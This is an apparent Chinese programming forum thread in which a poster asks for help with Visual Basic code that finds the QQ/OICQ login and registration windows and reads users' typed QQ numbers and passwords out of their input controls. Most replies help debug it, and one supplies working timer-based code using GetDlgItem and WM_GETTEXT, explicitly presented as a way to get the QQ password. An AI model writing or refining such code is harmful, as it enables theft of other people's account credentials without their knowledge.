我用findwindowex查找窗口内部的一个combobox的句柄,可是总是返回为0,这是为什么啊?
   我在一个程序中可以得到一个窗口内的两个text的句柄,但是,用同样的方法却不能得到另一个窗口内的text的句柄....这是为什么啊?
   得到text::
QQLoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ用户登录")
  If QQLoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ用户登录")
'是主登录窗口
If LoginHwnd <> 0 Then
'获取号码
  PassHwnd = FindWindowEx(QQLoginHwnd, 0, "ComboBox", vbNullString)
  tmp1 = SendMessage(PassHwnd, CB_GETCURSEL, ByVal CLng(0), ByVal CLng(0))
  Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXTLEN, ByVal tmp1, ByVal CLng(0))
  QQUserWord = Space(Tmp2)
  Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXT, ByVal tmp1, ByVal UserWord)
  UserWord = Left(UserWord, Tmp2)
'获取密码
  PassHwnd = FindWindowEx(LoginHwnd, 0, "Edit", vbNullString)
  tmp1 = SendMessage(PassHwnd, &HE, 0, 0)
  PassWord = Space(tmp1)
  SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
  GoTo Quit1:
End If'是"注册向导"窗口
  LoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ 注册向导")
  If LoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ 注册向导")
If LoginHwnd <> 0 Then
'查找号码框 和 密码框
      tmp1 = FindWindowEx(QQLoginHwnd, 0, "#32770", vbNullString)
      UserHwnd = FindWindowEx(tmp1, 0, "Edit", vbNullString)
      PassHwnd = FindWindowEx(tmp1, UserHwnd, "Edit", vbNullString)
'取得号码
      tmp1 = SendMessage(UserHwnd, &HE, 0&, 0&)
      UserWord = Space(tmp1)
      SendMessageByString QQUserHwnd, &HD, tmp1 + 1, QQUserWord
'取得密码
      tmp1 = SendMessage(PassHwnd, &HE, 0&, 0&)
      PassWord = Space(tmp1)
      SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
  GoTo Quit1:
End If'登录完毕
MainForm = FindWindowEx(0, 0, "#32770", vbNullString)
Do While MainForm
    If FindWindowEx(MainForm, 0, "AfxWnd42s", vbNullString) Then
        IsLogin = True
        AddUser
        Exit Do
    End If
MainForm = FindWindowEx(0, MainForm, "#32770", vbNullString)
Loop
 得到text的方法在别的得到别的程序的时候为什么就不能用呢?   至于combobox根本就找不到他的句柄................   高手哥哥帮忙啊~~~~~~~~~~~~~~~~~~~`
                    无论晴天也好,雨天也好,我希望和你一起度过~~~~~风笛~~~:)

解决方案 »

  1.   

    好像QQ的COMBOX不是这个名称吧。
      

  2.   

    试试用下面的函数来取得窗口句柄:
    Public Declare Function GetCursorPos Lib "user32" Alias "GetCursorPos" (lpPoint As POINTAPI) As Long
    Public Declare Function WindowFromPoint Lib "user32" Alias "WindowFromPoint" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
      

  3.   

    你可以试试visual studio 自带的spy++,适合查本地的窗口句柄
      

  4.   

    【声明】
    Private Declare Function ChildWindowFromPointEx Lib "user32" Alias "ChildWindowFromPointEx" (ByVal hWnd As Long, ByVal pt As POINTAPI, ByVal un As Long) As Long
    【说明】
    返回父窗口中包含了指定点的第一个子窗口的句柄
    【返回值】
    Long,发现包含了指定点的第一个子窗口的句柄。如未发现任何窗口,则返回hWnd(父窗口的句柄)。如指定点位于父窗口外部,则返回零
    【参数表】
      hWnd -----------  Long,父窗口的句柄
      xPoint
      Long,点的X坐标,以像素为单位
      yPoint
      Long,点的Y坐标,以像素为单位  pt -------------  POINTAPI,点的坐标,以像素为单位  un -------------  Long,(只适用于ChildWindowFromPointEx)控制对窗口的搜索。参见下表
      CWP_ALL
      测试所有窗口
      CWP_SKIPINVISIBLE
      忽略不可见窗口
      CWP_SKIPDISABLED
      忽略已屏蔽的窗口
      CWP_SKIPTRANSPARENT
      忽略透明窗口
      

  5.   

    getdlgitem VB声明 
    Private Declare Function GetDlgItem Lib "user32" Alias "GetDlgItem" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long 
    说明 
    用来得到一个窗体子窗体的句柄,如一个按钮等 
    参数表 类型及说明 
    hwnd 父窗体的句柄 
    niddlgitem 子窗体的ID号码   OK,有了这三个API,那么我们可以进入主题了,其它用这三个API可以干很多的事情哦。
    很明显要获取的QQ密码,肯定要先找到它的句柄,肯定想到了,用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:
    Private Sub Timer1_Timer()
    Dim str As String
    Dim nmb As String
    Dim qqhwnd As Long
    Dim numberhwnd As Long
    Dim pwdhwnd As Long
    Dim temp As Long
    str = String(80, 0)
    nmb = String(8, 0)
    qqhwnd = FindWindow(vbNullString, "QQ用户登录")
    '到这里就可以得到登录框的句柄了.注意qq要大写哦!
    If qqhwnd <> 0 Then
    numberhwnd = GetDlgItem(qqhwnd, &H3EC) '得到用户号码框的名柄
    pwdhwnd = GetDlgItem(qqhwnd, &H3F4) '得到密码框的句柄
    'getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具   SPYXX就可以得到了.
    SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str '得到号码
    SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb '得到密码
    notxt.Text = nmb
    pwdtxt.Text = str
    DoEvents
    End If
    End Sub
      

  6.   

    风笛的回复:
           云:  用qqhwnd = FindWindow(vbNullString, "QQ用户登录")是不能得到qq的窗口的,我得到他的窗口标题,是一个类似与1的东西,贴到别的地方就换行..不能放在findwindow的第二个参数中使用.....所以,不成功....spyxx,我在启动vc++以后,没有找到这个工具哦....我很笨,请指教~~~~~~~~~~~~谢谢~~~~~~~
            帆:怎么确定一个窗口的子窗口的坐标啊?我不会定义他的参数...就是ChildWindowFromPointEx 的第二个参数,pointapi型......请指教,谢谢~~~~~~~~~~~~~
      

  7.   

    spy++在vc副带的工具里,在开始菜单里有。可以用来观察进程。
      

  8.   

    type POINTAPI
      x as long
      y as long
    end typept的坐标指在父窗体的坐标